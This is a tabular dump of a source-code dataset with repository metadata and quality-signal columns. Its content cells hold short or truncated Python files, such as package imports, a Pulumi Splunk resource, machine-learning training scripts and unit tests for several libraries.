hexsha string | size int64 | ext string | lang string | max_stars_repo_path string | max_stars_repo_name string | max_stars_repo_head_hexsha string | max_stars_repo_licenses list | max_stars_count int64 | max_stars_repo_stars_event_min_datetime string | max_stars_repo_stars_event_max_datetime string | max_issues_repo_path string | max_issues_repo_name string | max_issues_repo_head_hexsha string | max_issues_repo_licenses list | max_issues_count int64 | max_issues_repo_issues_event_min_datetime string | max_issues_repo_issues_event_max_datetime string | max_forks_repo_path string | max_forks_repo_name string | max_forks_repo_head_hexsha string | max_forks_repo_licenses list | max_forks_count int64 | max_forks_repo_forks_event_min_datetime string | max_forks_repo_forks_event_max_datetime string | content string | avg_line_length float64 | max_line_length int64 | alphanum_fraction float64 | qsc_code_num_words_quality_signal int64 | qsc_code_num_chars_quality_signal float64 | qsc_code_mean_word_length_quality_signal float64 | qsc_code_frac_words_unique_quality_signal float64 | qsc_code_frac_chars_top_2grams_quality_signal float64 | qsc_code_frac_chars_top_3grams_quality_signal float64 | qsc_code_frac_chars_top_4grams_quality_signal float64 | qsc_code_frac_chars_dupe_5grams_quality_signal float64 | qsc_code_frac_chars_dupe_6grams_quality_signal float64 | qsc_code_frac_chars_dupe_7grams_quality_signal float64 | qsc_code_frac_chars_dupe_8grams_quality_signal float64 | qsc_code_frac_chars_dupe_9grams_quality_signal float64 | qsc_code_frac_chars_dupe_10grams_quality_signal float64 | qsc_code_frac_chars_replacement_symbols_quality_signal float64 | qsc_code_frac_chars_digital_quality_signal float64 | qsc_code_frac_chars_whitespace_quality_signal float64 | qsc_code_size_file_byte_quality_signal float64 | qsc_code_num_lines_quality_signal float64 | qsc_code_num_chars_line_max_quality_signal float64 | qsc_code_num_chars_line_mean_quality_signal float64 | qsc_code_frac_chars_alphabet_quality_signal float64 | qsc_code_frac_chars_comments_quality_signal float64 | qsc_code_cate_xml_start_quality_signal float64 | qsc_code_frac_lines_dupe_lines_quality_signal float64 | qsc_code_cate_autogen_quality_signal float64 | qsc_code_frac_lines_long_string_quality_signal float64 | qsc_code_frac_chars_string_length_quality_signal float64 | qsc_code_frac_chars_long_word_length_quality_signal float64 | qsc_code_frac_lines_string_concat_quality_signal float64 | qsc_code_cate_encoded_data_quality_signal float64 | qsc_code_frac_chars_hex_words_quality_signal float64 | qsc_code_frac_lines_prompt_comments_quality_signal float64 | qsc_code_frac_lines_assert_quality_signal float64 | qsc_codepython_cate_ast_quality_signal float64 | qsc_codepython_frac_lines_func_ratio_quality_signal float64 | qsc_codepython_cate_var_zero_quality_signal bool | qsc_codepython_frac_lines_pass_quality_signal float64 | qsc_codepython_frac_lines_import_quality_signal float64 | qsc_codepython_frac_lines_simplefunc_quality_signal float64 | qsc_codepython_score_lines_no_logic_quality_signal float64 | qsc_codepython_frac_lines_print_quality_signal float64 | qsc_code_num_words int64 | qsc_code_num_chars int64 | qsc_code_mean_word_length int64 | qsc_code_frac_words_unique null | qsc_code_frac_chars_top_2grams int64 | qsc_code_frac_chars_top_3grams int64 | qsc_code_frac_chars_top_4grams int64 | qsc_code_frac_chars_dupe_5grams int64 | qsc_code_frac_chars_dupe_6grams int64 | qsc_code_frac_chars_dupe_7grams int64 | qsc_code_frac_chars_dupe_8grams int64 | qsc_code_frac_chars_dupe_9grams int64 | qsc_code_frac_chars_dupe_10grams int64 | qsc_code_frac_chars_replacement_symbols int64 | qsc_code_frac_chars_digital int64 | qsc_code_frac_chars_whitespace int64 | qsc_code_size_file_byte int64 | qsc_code_num_lines int64 | qsc_code_num_chars_line_max int64 | qsc_code_num_chars_line_mean int64 | qsc_code_frac_chars_alphabet int64 | qsc_code_frac_chars_comments int64 | qsc_code_cate_xml_start int64 | qsc_code_frac_lines_dupe_lines int64 | qsc_code_cate_autogen int64 | qsc_code_frac_lines_long_string int64 | qsc_code_frac_chars_string_length int64 | qsc_code_frac_chars_long_word_length int64 | qsc_code_frac_lines_string_concat null | qsc_code_cate_encoded_data int64 | qsc_code_frac_chars_hex_words int64 | qsc_code_frac_lines_prompt_comments int64 | qsc_code_frac_lines_assert int64 | qsc_codepython_cate_ast int64 | qsc_codepython_frac_lines_func_ratio int64 | qsc_codepython_cate_var_zero int64 | qsc_codepython_frac_lines_pass int64 | qsc_codepython_frac_lines_import int64 | qsc_codepython_frac_lines_simplefunc int64 | qsc_codepython_score_lines_no_logic int64 | qsc_codepython_frac_lines_print int64 | effective string | hits int64 |
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
5c9ecbf1b435171546f82f22582bdd48dd28c235 | 74 | py | Python | ding/envs/__init__.py | sailxjx/DI-engine | c6763f8e2ba885a2a02f611195a1b5f8b50bff00 | [
"Apache-2.0"
] | 464 | 2021-07-08T07:26:33.000Z | 2022-03-31T12:35:16.000Z | ding/envs/__init__.py | sailxjx/DI-engine | c6763f8e2ba885a2a02f611195a1b5f8b50bff00 | [
"Apache-2.0"
] | 177 | 2021-07-09T08:22:55.000Z | 2022-03-31T07:35:22.000Z | ding/envs/__init__.py | sailxjx/DI-engine | c6763f8e2ba885a2a02f611195a1b5f8b50bff00 | [
"Apache-2.0"
] | 92 | 2021-07-08T12:16:37.000Z | 2022-03-31T09:24:41.000Z | from .env import *
from .env_wrappers import *
from .env_manager import *
| 18.5 | 27 | 0.756757 | 11 | 74 | 4.909091 | 0.454545 | 0.388889 | 0.481481 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.162162 | 74 | 3 | 28 | 24.666667 | 0.870968 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | null | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 7 |
5caa0b5a327a9bf2ba18eb0209f301c77a7578ff | 13,790 | py | Python | sdk/python/pulumi_splunk/inputs_tcp_ssl.py | pulumi/pulumi-splunk | a593a4b65e7de94d61b93676231606820193f212 | [
"ECL-2.0",
"Apache-2.0"
] | 1 | 2020-12-23T01:26:49.000Z | 2020-12-23T01:26:49.000Z | sdk/python/pulumi_splunk/inputs_tcp_ssl.py | pulumi/pulumi-splunk | a593a4b65e7de94d61b93676231606820193f212 | [
"ECL-2.0",
"Apache-2.0"
] | 36 | 2020-12-22T16:57:47.000Z | 2022-03-25T20:12:26.000Z | sdk/python/pulumi_splunk/inputs_tcp_ssl.py | pulumi/pulumi-splunk | a593a4b65e7de94d61b93676231606820193f212 | [
"ECL-2.0",
"Apache-2.0"
] | null | null | null | # coding=utf-8
# *** WARNING: this file was generated by the Pulumi Terraform Bridge (tfgen) Tool. ***
# *** Do not edit by hand unless you're certain you know what you are doing! ***
import warnings
import pulumi
import pulumi.runtime
from typing import Any, Mapping, Optional, Sequence, Union, overload
from . import ... | 38.093923 | 134 | 0.631255 | 1,549 | 13,790 | 5.364751 | 0.10071 | 0.091336 | 0.102888 | 0.07148 | 0.800481 | 0.787004 | 0.77858 | 0.769073 | 0.762936 | 0.751625 | 0 | 0.000099 | 0.26454 | 13,790 | 361 | 135 | 38.199446 | 0.819266 | 0.259101 | 0 | 0.777228 | 1 | 0 | 0.086488 | 0.004052 | 0 | 0 | 0 | 0 | 0 | 1 | 0.158416 | false | 0.118812 | 0.024752 | 0 | 0.277228 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 9 |
7a4ceae195231b5676d65fd06379d7df54664697 | 108 | py | Python | test/conftest.py | ding-lab/long-read-rna-pipeline | ad5c178f8e4b6420627be5f55706db5b8c58e407 | [
"MIT"
] | 22 | 2019-06-18T18:27:54.000Z | 2022-01-05T14:05:32.000Z | test/conftest.py | ding-lab/long-read-rna-pipeline | ad5c178f8e4b6420627be5f55706db5b8c58e407 | [
"MIT"
] | 4 | 2019-09-24T21:37:56.000Z | 2021-08-09T17:16:34.000Z | test/conftest.py | ding-lab/long-read-rna-pipeline | ad5c178f8e4b6420627be5f55706db5b8c58e407 | [
"MIT"
] | 9 | 2019-04-14T03:26:54.000Z | 2022-02-24T21:10:41.000Z | import pytest
from pathlib import Path
@pytest.fixture
def test_data_dir():
return Path("test_data")
| 12 | 28 | 0.75 | 16 | 108 | 4.875 | 0.6875 | 0.205128 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.166667 | 108 | 8 | 29 | 13.5 | 0.866667 | 0 | 0 | 0 | 0 | 0 | 0.083333 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.2 | true | 0 | 0.4 | 0.2 | 0.8 | 0 | 1 | 0 | 0 | null | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 1 | 1 | 0 | 0 | 7 |
7a8fab3b6eb4600207be3eb16ac53bd0b9f33398 | 181 | py | Python | sample2_test.py | dd-jy/sample | d192291112485b2131bcf4bb9af2354003b4d802 | [
"MIT"
] | null | null | null | sample2_test.py | dd-jy/sample | d192291112485b2131bcf4bb9af2354003b4d802 | [
"MIT"
] | null | null | null | sample2_test.py | dd-jy/sample | d192291112485b2131bcf4bb9af2354003b4d802 | [
"MIT"
] | null | null | null | #!/usr/bin/env python
# -*- coding: utf-8 -*-
# Copyright (c) dd-jy
# SPDX-License-Identifier: MIT
import sys
print("just sample code (including copyright & license identifier)")
| 20.111111 | 68 | 0.696133 | 25 | 181 | 5.04 | 0.88 | 0.269841 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.006452 | 0.143646 | 181 | 8 | 69 | 22.625 | 0.806452 | 0.502762 | 0 | 0 | 0 | 0 | 0.686047 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 0.5 | 0 | 0.5 | 0.5 | 1 | 0 | 0 | null | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 1 | 0 | 7 |
7a981ff9ad4148efc4ce22fbf1a38cf19f0efba1 | 194 | py | Python | src/daipecore/lineage/argument/FunctionLink.py | daipe-ai/daipe-core | aa205495fa6b464fa6078d17e439c60345ac99ea | [
"MIT"
] | 1 | 2021-09-17T09:07:09.000Z | 2021-09-17T09:07:09.000Z | src/daipecore/lineage/argument/FunctionLink.py | daipe-ai/daipe-core | aa205495fa6b464fa6078d17e439c60345ac99ea | [
"MIT"
] | 2 | 2021-12-20T07:46:33.000Z | 2022-02-24T07:02:05.000Z | src/daipecore/lineage/argument/FunctionLink.py | daipe-ai/daipe-core | aa205495fa6b464fa6078d17e439c60345ac99ea | [
"MIT"
] | null | null | null | class FunctionLink:
def __init__(self, linked_function):
self.__linked_function = linked_function
@property
def linked_function(self):
return self.__linked_function
| 24.25 | 48 | 0.721649 | 21 | 194 | 6.047619 | 0.428571 | 0.551181 | 0.425197 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.216495 | 194 | 7 | 49 | 27.714286 | 0.835526 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.333333 | false | 0 | 0 | 0.166667 | 0.666667 | 0 | 1 | 0 | 0 | null | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 7 |
7ab2da691d3128e47e01f769fc729c39b6a4dde4 | 1,574 | py | Python | test/functions/decl12.py | kylebarron/MagicPython | da6fa0793e2c85d3bf7709ff1d4f65ccf468db11 | [
"MIT"
] | 1,482 | 2015-10-16T21:59:32.000Z | 2022-03-30T11:44:40.000Z | test/functions/decl12.py | kylebarron/MagicPython | da6fa0793e2c85d3bf7709ff1d4f65ccf468db11 | [
"MIT"
] | 226 | 2015-10-15T15:53:44.000Z | 2022-03-25T03:08:27.000Z | test/functions/decl12.py | kylebarron/MagicPython | da6fa0793e2c85d3bf7709ff1d4f65ccf468db11 | [
"MIT"
] | 129 | 2015-10-20T02:41:49.000Z | 2022-03-22T01:44:36.000Z | def get_streaks(s) \
-> 'spam': pass
def : meta.function.python, source.python, storage.type.function.python
: meta.function.python, source.python
get_streaks : entity.name.function.python, meta.function.python, source.python
( : meta.function.parameters.python, meta.functio... | 65.583333 | 132 | 0.69568 | 172 | 1,574 | 6.354651 | 0.197674 | 0.2086 | 0.296432 | 0.307411 | 0.771272 | 0.732845 | 0.721866 | 0.564501 | 0.537054 | 0.537054 | 0 | 0 | 0.192503 | 1,574 | 23 | 133 | 68.434783 | 0.859953 | 0 | 0 | 0.25 | 0 | 0.05 | 0.002541 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | null | 0.1 | 0 | null | null | 0 | 0 | 0 | 0 | null | 1 | 1 | 1 | 0 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 7 |
8fca13e13552062bd107c6f8ceb35f8747bbee13 | 8,703 | py | Python | federated_dca/train.py | mjheid/dca | 8da5aa241c4dac60acbabc0138cdf40bd3327c84 | [
"Apache-2.0"
] | null | null | null | federated_dca/train.py | mjheid/dca | 8da5aa241c4dac60acbabc0138cdf40bd3327c84 | [
"Apache-2.0"
] | null | null | null | federated_dca/train.py | mjheid/dca | 8da5aa241c4dac60acbabc0138cdf40bd3327c84 | [
"Apache-2.0"
] | null | null | null | import numpy as np
import torch
from torch.utils.data import DataLoader
from federated_dca.datasets import GeneCountData
from federated_dca.loss import ZINBLoss, NBLoss
from federated_dca.models import ZINBAutoEncoder, NBAutoEncoder
from federated_dca.utils import save_and_load_init_model
import random
import os
def ... | 38.68 | 143 | 0.624612 | 1,040 | 8,703 | 5.020192 | 0.133654 | 0.024133 | 0.029496 | 0.040222 | 0.936794 | 0.932963 | 0.929707 | 0.925685 | 0.925685 | 0.925685 | 0 | 0.011369 | 0.27232 | 8,703 | 225 | 144 | 38.68 | 0.813043 | 0.114443 | 0 | 0.907975 | 0 | 0 | 0.047507 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.01227 | false | 0.01227 | 0.055215 | 0 | 0.079755 | 0.03681 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 7 |
8fda04a491b587d20de0202e3f2da292225cb0af | 5,907 | py | Python | run.py | KeAWang/ORIE6741_bayesgan | 91d9ebd5a9f23a6cc8b89b2d140dffb8e872148b | [
"Apache-2.0"
] | null | null | null | run.py | KeAWang/ORIE6741_bayesgan | 91d9ebd5a9f23a6cc8b89b2d140dffb8e872148b | [
"Apache-2.0"
] | null | null | null | run.py | KeAWang/ORIE6741_bayesgan | 91d9ebd5a9f23a6cc8b89b2d140dffb8e872148b | [
"Apache-2.0"
] | null | null | null | import os
"""
epoch_size = 200
num_epochs = 20
start_epoch = 6
experiment_name = "adv_test_only"
x = "python bayesian_gan_hmc.py --out_dir \'results\' --semi_supervised --save_weights --save_samples --adv_test --data_path \'\' --n_save 100 --num_mcmc 2 --numz 10 --custom_experiment "+experiment_name+" --save_chkpt ... | 39.912162 | 240 | 0.691891 | 832 | 5,907 | 4.563702 | 0.092548 | 0.068738 | 0.056887 | 0.095602 | 0.953911 | 0.94601 | 0.941006 | 0.933632 | 0.91625 | 0.896761 | 0 | 0.032667 | 0.144913 | 5,907 | 147 | 241 | 40.183673 | 0.719066 | 0 | 0 | 0 | 0 | 0.083333 | 0.402576 | 0.045089 | 0 | 0 | 0 | 0 | 0 | 0 | null | null | 0 | 0.083333 | null | null | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 7 |
8ff0d517d0a04ba331b3f28fbf343e7b97ca312c | 102 | py | Python | strategies/common.py | charlieyou/jsetc | 91e4711bff42ce73793eed599c9f5ad34de68a53 | [
"MIT"
] | 7 | 2017-07-22T19:04:35.000Z | 2020-07-05T00:03:21.000Z | strategies/common.py | charlieyou/jsetc | 91e4711bff42ce73793eed599c9f5ad34de68a53 | [
"MIT"
] | null | null | null | strategies/common.py | charlieyou/jsetc | 91e4711bff42ce73793eed599c9f5ad34de68a53 | [
"MIT"
] | 4 | 2017-07-23T03:16:46.000Z | 2020-01-07T18:42:21.000Z | def get_bid(exchange, symbol, n=1):
return 0
def get_bid(exchange, symbol, n=1):
return 0
| 11.333333 | 35 | 0.647059 | 18 | 102 | 3.555556 | 0.5 | 0.1875 | 0.28125 | 0.53125 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0.051282 | 0.235294 | 102 | 8 | 36 | 12.75 | 0.769231 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.5 | false | 0 | 0 | 0.5 | 1 | 0 | 1 | 0 | 0 | null | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 13 |
8905e0b1c88acff85caf1111a684361c2df2c8ce | 3,726 | py | Python | builders/feature_extractor_builder_test.py | openx0125/aster | df87cdb2695008db514a562551ac2b60b82cebf4 | [
"MIT"
] | 704 | 2018-07-10T11:52:19.000Z | 2022-03-26T13:38:18.000Z | builders/feature_extractor_builder_test.py | wxk2008/aster | a891156b78378f550867fe1f0692bffb169debb1 | [
"MIT"
] | 114 | 2018-07-11T05:44:09.000Z | 2022-02-10T05:48:24.000Z | builders/feature_extractor_builder_test.py | wxk2008/aster | a891156b78378f550867fe1f0692bffb169debb1 | [
"MIT"
] | 212 | 2018-07-10T13:15:50.000Z | 2022-01-22T13:37:27.000Z | import tensorflow as tf
from google.protobuf import text_format
from aster.protos import feature_extractor_pb2
from aster.builders import feature_extractor_builder
class FeatureExtractorBuilderTest(tf.test.TestCase):
def test_feature_extractor_builder_single_branch(self):
text_proto = """
convnet {
... | 28.442748 | 94 | 0.645733 | 400 | 3,726 | 5.62 | 0.2425 | 0.142349 | 0.085409 | 0.106762 | 0.863879 | 0.849199 | 0.825623 | 0.789146 | 0.758897 | 0.758897 | 0 | 0.030483 | 0.278046 | 3,726 | 130 | 95 | 28.661538 | 0.805204 | 0 | 0 | 0.709402 | 0 | 0 | 0.593666 | 0.099571 | 0 | 0 | 0 | 0 | 0.008547 | 1 | 0.017094 | false | 0 | 0.034188 | 0 | 0.059829 | 0.017094 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 7 |
8f2a56c3b5e981b5871af85f19f5db2524408141 | 8,747 | py | Python | tests/unit/lpt/test_qry_reconcile_holdings.py | finbourne/lusid-python-tools | 53f845be208df74fc48b5a9b46b2bf4af20e012b | [
"MIT"
] | 4 | 2020-07-24T10:28:14.000Z | 2021-11-05T10:55:23.000Z | tests/unit/lpt/test_qry_reconcile_holdings.py | finbourne/lusid-python-tools | 53f845be208df74fc48b5a9b46b2bf4af20e012b | [
"MIT"
] | 185 | 2019-11-21T14:58:38.000Z | 2022-03-04T18:44:22.000Z | tests/unit/lpt/test_qry_reconcile_holdings.py | finbourne/lusid-python-tools | 53f845be208df74fc48b5a9b46b2bf4af20e012b | [
"MIT"
] | 6 | 2020-01-28T19:31:04.000Z | 2021-04-21T15:50:23.000Z | import unittest
import pandas
from parameterized import parameterized
from lusid import (
ResourceListOfReconciliationBreak,
ReconciliationBreak,
CurrencyAndAmount,
PerpetualProperty,
PropertyValue,
ModelProperty,
)
from pandas._testing import assert_frame_equal
from lusidtools.lpt.qry_reconci... | 43.735 | 84 | 0.402424 | 621 | 8,747 | 5.450886 | 0.123994 | 0.035451 | 0.047858 | 0.088626 | 0.807386 | 0.807386 | 0.807386 | 0.807386 | 0.807386 | 0.807386 | 0 | 0.073663 | 0.495598 | 8,747 | 199 | 85 | 43.954774 | 0.693563 | 0 | 0 | 0.720207 | 0 | 0 | 0.121756 | 0.046187 | 0 | 0 | 0 | 0 | 0.010363 | 1 | 0.005181 | false | 0 | 0.036269 | 0 | 0.046632 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 7 |
8584bae64786c875816fb9a90cbedc6f9918034b | 8,549 | py | Python | imblearn/under_sampling/tests/test_allknn.py | christophe-rannou/imbalanced-learn | c3f3b0fd9815e206ea63f3f11728f097608bf580 | [
"MIT"
] | null | null | null | imblearn/under_sampling/tests/test_allknn.py | christophe-rannou/imbalanced-learn | c3f3b0fd9815e206ea63f3f11728f097608bf580 | [
"MIT"
] | null | null | null | imblearn/under_sampling/tests/test_allknn.py | christophe-rannou/imbalanced-learn | c3f3b0fd9815e206ea63f3f11728f097608bf580 | [
"MIT"
] | null | null | null | """Test the module repeated edited nearest neighbour."""
from __future__ import print_function
import numpy as np
from numpy.testing import (assert_allclose, assert_array_equal,
assert_equal, assert_raises)
from sklearn.neighbors import NearestNeighbors
from imblearn.under_sampling import A... | 49.703488 | 79 | 0.54018 | 1,158 | 8,549 | 3.879965 | 0.156304 | 0.028489 | 0.036724 | 0.042733 | 0.801024 | 0.745382 | 0.728912 | 0.727354 | 0.718896 | 0.650122 | 0 | 0.490331 | 0.286232 | 8,549 | 171 | 80 | 49.994152 | 0.245985 | 0.020002 | 0 | 0.666667 | 0 | 0 | 0.002151 | 0 | 0 | 0 | 0 | 0 | 0.111111 | 1 | 0.041667 | false | 0 | 0.034722 | 0 | 0.076389 | 0.006944 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 8 |
a42a472c361fef47e3add3d3916e617853db15ff | 128 | py | Python | src/django_devicectl/models/__init__.py | fullctl/devicectl | 633b78986a68bf4afb43c43c91fadef9be940906 | [
"Apache-2.0"
] | null | null | null | src/django_devicectl/models/__init__.py | fullctl/devicectl | 633b78986a68bf4afb43c43c91fadef9be940906 | [
"Apache-2.0"
] | 2 | 2021-01-25T10:14:53.000Z | 2021-06-14T15:36:10.000Z | src/django_devicectl/models/__init__.py | fullctl/devicectl | 633b78986a68bf4afb43c43c91fadef9be940906 | [
"Apache-2.0"
] | null | null | null | from fullctl.django.models import *
from django_devicectl.models.devicectl import *
from django_devicectl.models.tasks import *
| 32 | 47 | 0.835938 | 17 | 128 | 6.176471 | 0.411765 | 0.190476 | 0.304762 | 0.47619 | 0.590476 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.09375 | 128 | 3 | 48 | 42.666667 | 0.905172 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | null | 0 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 7 |
a4334703492de837c0d4541afc8a444dcafa5a08 | 240 | py | Python | running_modes/configurations/create_model/__init__.py | lilleswing/Reinvent-1 | ac4e3e6fa6379c6f4af883478dfd1b3407933ada | [
"Apache-2.0"
] | 183 | 2020-04-04T02:01:15.000Z | 2022-03-30T21:56:56.000Z | running_modes/configurations/create_model/__init__.py | lilleswing/Reinvent-1 | ac4e3e6fa6379c6f4af883478dfd1b3407933ada | [
"Apache-2.0"
] | 39 | 2020-04-05T15:19:56.000Z | 2022-03-09T12:58:21.000Z | running_modes/configurations/create_model/__init__.py | lilleswing/Reinvent-1 | ac4e3e6fa6379c6f4af883478dfd1b3407933ada | [
"Apache-2.0"
] | 70 | 2020-04-05T19:25:43.000Z | 2022-02-22T12:04:39.000Z | from running_modes.configurations.create_model.create_model_configuration import CreateModelConfiguration
from running_modes.configurations.create_model.link_invent_create_model_configuration import \
LinkInventCreateModelConfiguration
| 60 | 105 | 0.916667 | 24 | 240 | 8.75 | 0.5 | 0.209524 | 0.152381 | 0.285714 | 0.390476 | 0.390476 | 0 | 0 | 0 | 0 | 0 | 0 | 0.054167 | 240 | 3 | 106 | 80 | 0.92511 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 0.666667 | 0 | 0.666667 | 0 | 1 | 0 | 0 | null | 1 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 7 |
a465e438834427060de95c4ef83f304b40e90205 | 60 | py | Python | LibNumberTwo/LibNumberTwo/LibNumberTwo.py | piqueen314/pythonMultipleProjectsOneRepoExample | 583741238373006298ba8f6f108fc7c718098238 | [
"MIT"
] | null | null | null | LibNumberTwo/LibNumberTwo/LibNumberTwo.py | piqueen314/pythonMultipleProjectsOneRepoExample | 583741238373006298ba8f6f108fc7c718098238 | [
"MIT"
] | null | null | null | LibNumberTwo/LibNumberTwo/LibNumberTwo.py | piqueen314/pythonMultipleProjectsOneRepoExample | 583741238373006298ba8f6f108fc7c718098238 | [
"MIT"
] | null | null | null | def print_package_name():
return "This is Lib number 2"
| 20 | 33 | 0.716667 | 10 | 60 | 4.1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.020833 | 0.2 | 60 | 2 | 34 | 30 | 0.833333 | 0 | 0 | 0 | 0 | 0 | 0.333333 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.5 | true | 0 | 0 | 0.5 | 1 | 0.5 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 1 | 1 | 1 | 0 | 7 |
7432da15aeb0024b8489da6476743a611e5b8a2f | 6,779 | py | Python | tests/test_update.py | GeertLitjens/advent-readme-stars | db0643f5b6a1d21cfa2271e08794fdc3a1bdadcd | [
"MIT"
] | 10 | 2021-12-02T06:47:05.000Z | 2022-01-10T06:53:15.000Z | tests/test_update.py | GeertLitjens/advent-readme-stars | db0643f5b6a1d21cfa2271e08794fdc3a1bdadcd | [
"MIT"
] | 6 | 2021-12-02T08:07:14.000Z | 2021-12-17T13:20:09.000Z | tests/test_update.py | GeertLitjens/advent-readme-stars | db0643f5b6a1d21cfa2271e08794fdc3a1bdadcd | [
"MIT"
] | 4 | 2021-12-02T16:57:23.000Z | 2021-12-14T01:55:47.000Z | import pytest
from advent_readme_stars.constants import TABLE_MARKER
from advent_readme_stars.update import (
insert_table,
remove_existing_table,
update_readme,
)
DEFAULT_TABLE_CONTENT = [
"## 2019 Results",
"",
"| Day | Part 1 | Part 2 |",
"| :---: | :---: | :---: |",
